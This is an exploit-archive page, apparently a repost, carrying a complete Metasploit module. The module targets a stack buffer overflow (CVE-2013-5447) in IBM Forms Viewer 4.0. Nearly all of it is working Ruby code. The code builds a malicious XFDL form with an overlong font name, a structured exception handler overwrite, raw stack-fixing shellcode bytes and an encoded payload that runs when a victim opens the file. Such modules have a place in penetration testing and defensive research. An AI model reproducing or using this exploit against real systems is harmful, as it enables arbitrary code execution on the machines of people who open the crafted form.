IBM Forms Viewer Unicode Buffer Overflow Exploit

:
13.01.2014
:
IBM Forms Viewer 4.0
:
:
IBM Forms Viewer

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include REXML
include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Forms Viewer Unicode Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability
is due to a dangerous usage of strcpy-like function, and occurs while parsing malformed
XFDL files, with a long fontname value. This module has been tested successfully on IBM
Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez', # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-5447' ],
[ 'OSVDB', '100732' ],
[ 'ZDI', '13-274' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21657500' ],
],
'Payload' =>
{
'Space' => 3000,
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
'BufferOffset' => 10
},
'BadChars' => (0x00..0x08).to_a.pack("C*") + (0x0b..0x1f).to_a.pack("C*") +"\x26\x3c" + (0x80..0xff).to_a.pack("C*"),
'DisableNops' => true,
# Fix the stack before the payload is executed, so we avoid
# windows exceptions due to alignment
'Prepend' =>
"\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
"\x83\xC0\x08" + # add eax, byte 8
"\x8b\x20" + # mov esp, [eax]
"\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000
},
'Platform' => 'win',
'Targets' =>
[
[ 'IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1',
# masqform.exe 8.0.0.266
{
'Ret' => 0x4c30, # p/p/r unicode from masqform.exe
'Nop' => 0x47, # 004700 => add [edi+0x0],al
'Offset' => 62
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 05 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xfdl']),
], self.class)
end

def generate_xfdl
xml = Document.new

# XFDL
xfdl = xml.add_element("XFDL", {
'xmlns:custom' => "http://www.ibm.com/xmlns/prod/XFDL/Custom",
'xmlns:designer' => "http://www.ibm.com/xmlns/prod/workplace/forms/designer/2.6",
'xmlns:ev' => "http://www.w3.org/2001/xml-events",
'xmlns:xfdl' => "http://www.ibm.com/xmlns/prod/XFDL/7.5",
'xmlns:xforms' => "http://www.w3.org/2002/xforms",
'xmlns' => "http://www.ibm.com/xmlns/prod/XFDL/7.5",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance"
})

# XFDL => globalpage
xdfl_global_page = xfdl.add_element("globalpage", {
"sid" => "global"
})
global = xdfl_global_page.add_element("global", {
"sid" => "global"
})
designer_date = global.add_element("designer:date")
designer_date.text = "20060615"
form_id = global.add_element("formid")
form_id.add_element("title")
serial_number = form_id.add_element("serialnumber")
serial_number.text = "A6D5583E2AD0D54E:-72C430D4:10BD8923059:-8000"
version_form = form_id.add_element("version")
version_form.text = "1"

# XFDL => page
page = xfdl.add_element("page", {
"sid" => "PAGE1"
})

# XFDL => page => global
page_global = page.add_element("global", {
"sid" => "global"
})
label_page = page_global.add_element("label")
label_page.text = "PAGE1"

# XFDL => page => label
label = page.add_element("label", {
"sid" => "title"
})
item_location = label.add_element("itemlocation")
x = item_location.add_element("x")
x.text = "20"
y = item_location.add_element("y")
y.text = "0"
value = label.add_element("value", {
"compute" => "global.global.custom:formTitle"
})
value.text = rand_text_alpha(10)
font_info = label.add_element("fontinfo")
font_name = font_info.add_element("fontname")
font_name.text = "MSF_REPLACE"
xml.to_s
end


def exploit
sploit = rand_text_alpha(target['Offset'])
sploit << "\x61\x62" # nseh # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200)
sploit << [target.ret].pack("v") # seh # ppr
sploit << [target['Nop']].pack("C")
sploit << payload.encoded
sploit << rand_text_alpha(4096) # make it crash

xfdl = generate_xfdl.gsub(/MSF_REPLACE/, sploit) # To avoid rexml html encoding

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(xfdl)
end

end

CAPTCHA